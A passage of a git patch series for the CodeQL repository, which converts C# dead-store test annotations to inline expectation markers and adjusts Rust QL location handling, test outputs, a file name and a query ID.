Tuples Use(x); Use(b); Use(s); - (x, (b, s)) = GetTuple(); // BAD: `b` + (x, (b, s)) = GetTuple(); // $ Alert on `b` Use(x); Use(s); (x, (_, s)) = GetTuple(); // GOOD @@ -369,7 +369,7 @@ class Initializers string M4() { - var s = M3(); // BAD + var s = M3(); // $ Alert s = ""; return s; } @@ -395,7 +395,7 @@ class Initializers { var s = ""; if (b) - s = "abc"; // BAD + s = "abc"; // $ Alert if (!b) return s; return null; @@ -469,8 +469,8 @@ public static class Using using var x = new System.IO.FileStream("", System.IO.FileMode.Open); // GOOD using var _ = new System.IO.FileStream("", System.IO.FileMode.Open); // GOOD - using (var y = new System.IO.FileStream("", System.IO.FileMode.Open)) // BAD + using (var y = new System.IO.FileStream("", System.IO.FileMode.Open)) // $ Alert { } } -} \ No newline at end of file +} diff --git a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.qlref b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.qlref index 51cf4454da2..cfc0aaa4eef 100644 --- a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.qlref +++ b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.qlref @@ -1 +1,2 @@ -Dead Code/DeadStoreOfLocal.ql +query: Dead Code/DeadStoreOfLocal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocalBad.cs b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocalBad.cs index c1b7918e62b..059fe30b772 100644 --- a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocalBad.cs +++ b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocalBad.cs @@ -4,7 +4,7 @@ class Bad { double ParseInt(string s) { - var success = int.TryParse(s, out int i); + var success = int.TryParse(s, out int i); // $ Alert return i; } @@ -20,7 +20,7 @@ class Bad { return double.Parse(s); } - catch (FormatException e) + catch (FormatException e) // $ Alert { return double.NaN; } @@ -29,14 +29,14 @@ class Bad int Count(string[] ss) { int count = 0; - foreach (var s in ss) + foreach (var s in ss) // $ Alert count++; return count; } string IsInt(object o) { - if (o is int i) + if (o is int i) // $ Alert return "yes"; else return "no"; @@ -46,7 +46,7 @@ class Bad { switch (o) { - case string s: + case string s: // $ Alert return "yes"; default: return "no"; From dd1fbd28beab41658693c6356181a975c7c890e2 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 20 Mar 2025 11:42:11 +0100 Subject: [PATCH 277/282] C#: Add string interpolation examples to cs/useless-assignment-to-local. --- .../Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs index 1b40bf9c3d7..3e4e5fbeeb2 100644 --- a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs +++ b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs @@ -474,3 +474,13 @@ public static class Using } } } + +class StringInterpolation +{ + void Pi() + { + float pi = 3.14159f; // GOOD + const int align = 6; // GOOD + Console.WriteLine($"Pi, {pi,align:F3}"); + } +} From 5731fa91f3e11c881b9bd5c22da4ac8df2605885 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Fri, 4 Apr 2025 11:21:19 +0200 Subject: [PATCH 278/282] Rust: Use macro call location as fall back in macro expansions --- .../rust/elements/internal/LocatableImpl.qll | 24 ++++++++--- .../codeql/rust/internal/AstConsistency.qll | 3 +- .../CONSISTENCY/AstConsistency.expected | 41 ------------------- .../MacroItems/MacroItems_getItem.expected | 4 +- 4 files changed, 23 insertions(+), 49 deletions(-) delete mode 100644 rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected diff --git a/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll index 5aeec330a37..ed349df4868 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll @@ -46,11 +46,25 @@ module Impl { predicate fromSource() { exists(this.getFile().getRelativePath()) } } - /** Gets the non-synthesized location of `l`, if any. */ - LocationImpl::LocationDefault getLocationDefault(Locatable l) { - exists(@location_default location | - result = LocationImpl::TLocationDefault(location) and - locatable_locations(Synth::convertLocatableToRaw(l), location) + private @location_default getDbLocation(Locatable l) { + locatable_locations(Synth::convertLocatableToRaw(l), result) + } + + private MacroCall getImmediatelyEnclosingMacroCall(AstNode n) { + result = n.getParentNode() + or + exists(AstNode mid | + result = getImmediatelyEnclosingMacroCall(mid) and + n.getParentNode() = mid and + not mid instanceof MacroCall ) } + + /** Gets the non-synthesized location of `l`, if any. */ + LocationImpl::LocationDefault getLocationDefault(Locatable l) { + result = LocationImpl::TLocationDefault(getDbLocation(l)) + or + not exists(getDbLocation(l)) and + result = getLocationDefault(getImmediatelyEnclosingMacroCall(l)) + } } diff --git a/rust/ql/lib/codeql/rust/internal/AstConsistency.qll b/rust/ql/lib/codeql/rust/internal/AstConsistency.qll index b86ebc9a0f9..d812bfd2ef7 100644 --- a/rust/ql/lib/codeql/rust/internal/AstConsistency.qll +++ b/rust/ql/lib/codeql/rust/internal/AstConsistency.qll @@ -25,7 +25,8 @@ query predicate multipleLocations(Locatable e) { strictcount(e.getLocation()) > * Holds if `e` does not have a `Location`. */ query predicate noLocation(Locatable e) { - not exists(e.getLocation()) and not e.(AstNode).getParentNode*() = any(Crate c).getModule() + not exists(e.getLocation()) and + not e.(AstNode).getParentNode*() = any(Crate c).getModule() } private predicate multiplePrimaryQlClasses(Element e) { diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected b/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected deleted file mode 100644 index 807f782967d..00000000000 --- a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected +++ /dev/null @@ -1,41 +0,0 @@ -noLocation -| file://:0:0:0:0 | ... .unwrap() | -| file://:0:0:0:0 | ...: ... | -| file://:0:0:0:0 | ...::Path | -| file://:0:0:0:0 | ...::Path | -| file://:0:0:0:0 | ...::path | -| file://:0:0:0:0 | ArgList | -| file://:0:0:0:0 | ArgList | -| file://:0:0:0:0 | ParamList | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | RefTypeRepr | -| file://:0:0:0:0 | RefTypeRepr | -| file://:0:0:0:0 | RetTypeRepr | -| file://:0:0:0:0 | StmtList | -| file://:0:0:0:0 | fn get_parent | -| file://:0:0:0:0 | get_parent | -| file://:0:0:0:0 | parent | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path.parent() | -| file://:0:0:0:0 | std | -| file://:0:0:0:0 | std | -| file://:0:0:0:0 | std | -| file://:0:0:0:0 | unwrap | -| file://:0:0:0:0 | use ...::Path | -| file://:0:0:0:0 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected b/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected index 08f3925f5a4..e86dfee101a 100644 --- a/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected +++ b/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected @@ -1,2 +1,2 @@ -| gen_macro_items.rs:5:5:5:38 | MacroItems | 0 | file://:0:0:0:0 | use ...::Path | -| gen_macro_items.rs:5:5:5:38 | MacroItems | 1 | file://:0:0:0:0 | fn get_parent | +| gen_macro_items.rs:5:5:5:38 | MacroItems | 0 | gen_macro_items.rs:5:5:5:38 | use ...::Path | +| gen_macro_items.rs:5:5:5:38 | MacroItems | 1 | gen_macro_items.rs:5:5:5:38 | fn get_parent | From b115f3f5e9c3da8c7df3d3115550685bb960d807 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Fri, 4 Apr 2025 11:39:06 +0200 Subject: [PATCH 279/282] Update rust/ql/lib/codeql/rust/internal/PathResolution.qll Co-authored-by: Simon Friis Vindum --- rust/ql/lib/codeql/rust/internal/PathResolution.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index e5a6763525e..c70ab0049d5 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -1088,7 +1088,7 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { * Holds if `i` is available inside `f` because it is reexported in [the prelude][1]. * * We don't yet have access to prelude information from the extractor, so for now - * we include all the preludes for Rust 2015, 2018, 2021, and 2024. + * we include all the preludes for Rust: 2015, 2018, 2021, and 2024. * * [1]: https://doc.rust-lang.org/core/prelude/index.html */ From 70a174ad5a4de2fe6ddc4a8ea3d5970afa7d5f15 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 4 Apr 2025 11:47:46 +0200 Subject: [PATCH 280/282] C#: Address review comments. --- .../Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs index 3e4e5fbeeb2..04d8e20c09e 100644 --- a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs +++ b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs @@ -157,7 +157,7 @@ public class OutParam public void Test() { int x; - Fn(out x); // Missing Alert + Fn(out x); // $ MISSING: Alert Fn(out _); // GOOD } @@ -194,7 +194,7 @@ public class Captured void M2() { - var x = M6(); // Missing Alert + var x = M6(); // $ MISSING: Alert Action a = () => { x = 1; // GOOD @@ -208,7 +208,7 @@ public class Captured int x; Action a = () => { - x = 1; // Missing Alert + x = 1; // $ MISSING: Alert }; a(); } @@ -230,7 +230,7 @@ public class Captured void M5() { - int x = 0; // Missing Alert. + int x = 0; // $ MISSING: Alert Action a = () => { x = 1; // GOOD @@ -250,7 +250,7 @@ public class Captured int captured = 0; // GOOD: Variable captured variable fn(() => { return captured; }); - return captured = 1; // Missing Alert. + return captured = 1; // $ MISSING: Alert } void M7() From dc31da82d05c810056593cc92cf5620b03389a4f Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 4 Apr 2025 13:42:29 +0100 Subject: [PATCH 281/282] Rust: Fix file name typo. --- ...SummaryStatsReeduced.expected => SummaryStatsReduced.expected} | 0 .../{SummaryStatsReeduced.qlref => SummaryStatsReduced.qlref} | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename rust/ql/test/query-tests/diagnostics/{SummaryStatsReeduced.expected => SummaryStatsReduced.expected} (100%) rename rust/ql/test/query-tests/diagnostics/{SummaryStatsReeduced.qlref => SummaryStatsReduced.qlref} (100%) diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsReeduced.expected b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected similarity index 100% rename from rust/ql/test/query-tests/diagnostics/SummaryStatsReeduced.expected rename to rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsReeduced.qlref b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.qlref similarity index 100% rename from rust/ql/test/query-tests/diagnostics/SummaryStatsReeduced.qlref rename to rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.qlref From e9971ffb9412962dfacf2fbc30d18c82bdb41c31 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 4 Apr 2025 11:59:39 +0100 Subject: [PATCH 282/282] Rust: Change the ID of the new query. --- rust/ql/src/queries/summary/SummaryStatsReduced.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/src/queries/summary/SummaryStatsReduced.ql b/rust/ql/src/queries/summary/SummaryStatsReduced.ql index 75358064bba..47669f9da58 100644 --- a/rust/ql/src/queries/summary/SummaryStatsReduced.ql +++ b/rust/ql/src/queries/summary/SummaryStatsReduced.ql @@ -3,7 +3,7 @@ * @description A table of summary statistics about a database, with data that * has been found to be noisy on tests removed. * @kind metric - * @id rust/summary/summary-statistics-reduced + * @id rust/summary/reduced-summary-statistics * @tags summary */